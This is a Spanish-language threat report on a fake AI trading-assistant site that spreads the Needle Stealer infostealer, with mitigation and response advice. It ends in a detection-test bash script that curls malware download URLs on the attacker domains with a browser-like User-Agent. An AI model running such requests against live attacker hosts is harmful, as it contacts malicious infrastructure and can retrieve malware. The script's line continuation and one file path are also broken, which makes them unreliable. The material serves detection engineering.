Sitio Web de Comercio Falso Instala Malware que Secuestra Navegadores

Resumen

Un sitio web fraudulento que anuncia un asistente comercial impulsado por IA está siendo utilizado para propagar el infostealer Needle Stealer. La cadena de infección se basa en el secuestro de DLL y el vaciado de procesos para inyectar el malware en RegAsm.exe, ayudándolo a mezclarse con la actividad legítima del sistema. Una vez activo, el ladrón recopila datos del navegador, apunta a información de billeteras de criptomonedas y puede desplegar extensiones maliciosas del navegador para profundizar el compromiso. La comunicación con la infraestructura controlada por el atacante se maneja a través de múltiples puntos finales de API HTTP.

Investigación

Investigadores rastrearon el flujo de infección hasta un archivo ZIP descargado de tradingclaw.pro, que contenía un cargador DLL llamado iviewers.dll. Ese cargador dejó caer un DLL de segunda fase que vació RegAsm.exe y lanzó el Needle Stealer basado en Golang. Un análisis más detallado mostró que el ladrón extraía archivos ZIP ocultos que contenían extensiones maliciosas del navegador junto con un archivo de configuración que definía sus servidores de comando y control.

Mitigación

Los usuarios deben evitar descargar software de sitios web no confiables y siempre verificar las firmas del publicador antes de ejecutar cualquier instalador. Los equipos de seguridad deben auditar rutinariamente las extensiones instaladas del navegador y eliminar cualquier que parezca no autorizada o sospechosa. La monitorización de red debe configurarse para detectar tráfico hacia los dominios y direcciones IP maliciosas conocidas vinculadas a la campaña. Las herramientas de protección de endpoints también deben estar afinadas para identificar el comportamiento de secuestro de DLL y técnicas de vaciado de procesos.

Respuesta

Los defensores deben revisar la telemetría de endpoints para la ejecución de iviewers.dll y signos de inyección en RegAsm.exe. Los dominios y direcciones IP de comando y control identificados deben bloquearse a nivel de firewall o proxy. Los equipos de seguridad deben poner en cuarentena archivos que coincidan con los hashes o nombres de archivo reportados, eliminar extensiones sospechosas de %LOCALAPPDATA%PackagesExtensions, y restablecer las credenciales vinculadas a las cuentas afectadas. Cualquier billetera de criptomonedas potencialmente afectada también debe revisarse para detectar actividad no autorizada.

Ejecución de Simulación

Requisito previo: La Verificación Previa de Telemetría y Línea Base debe haber pasado.

Fundamento: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección.

• Narrativa de Ataque y Comandos:
  Un adversario que ha obtenido el malware Needle Stealer lo aloja en el dominio malicioso tradingclaw.pro. El atacante persuade a una víctima para que abra un enlace malicioso (e.g., a través de un phishing por email). El navegador de la víctima realiza una solicitud HTTP GET a http://tradingclaw.pro/stealer.exe, que los registros del proxy registran. Debido a que la URL contiene la cadena exacta tradingclaw.pro, la condición de la regla Sigma (url|contains) se evalúa como verdadera, generando una alerta.

  Para replicar esto en un entorno de prueba, emitimos un curl directo al dominio malicioso. La solicitud está diseñada para parecer tráfico típico de usuario (User-Agent estándar, sin cabeceras especiales) para que solo la coincidencia de dominio impulse la alerta.

• Script de Prueba de Regresión:

  #!/usr/bin/env bash
  # ------------------------------------------------------------
  # Simular acceso malicioso para activar la regla de detección "TradingClaw Malicioso"
  # ------------------------------------------------------------
  
  set -euo pipefail
  
  # Definir las URLs maliciosas (cadenas exactas usadas por la regla)
  MALICIOUS_URLS=(
      "http://tradingclaw.pro/stealer.exe"
      "https://studypages.com/download/needle.exe"
  )
  
  for url in "${MALICIOUS_URLS[@]}"; do
      echo "[*] Solicitando ${url}"
      # Usar un user-agent realista para imitar un navegador
      curl -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0 Safari/537.36" 
           -s -o /dev/null "${url}"
  done
  
  echo "[+] Simulación completada."

• Comandos de Limpieza:

  # No se crean artefactos persistentes mediante las solicitudes curl.
  # Vaciar la caché DNS para evitar la reutilización accidental del dominio en pruebas posteriores.
  if command -v ipconfig >/dev/null 2>&1; then
      ipconfig /flushdns
  elif command -v systemd-resolve >/dev/null 2>&1; then
      systemd-resolve --flush-caches
  fi
  echo "[+] Limpieza completada."

Fin del Informe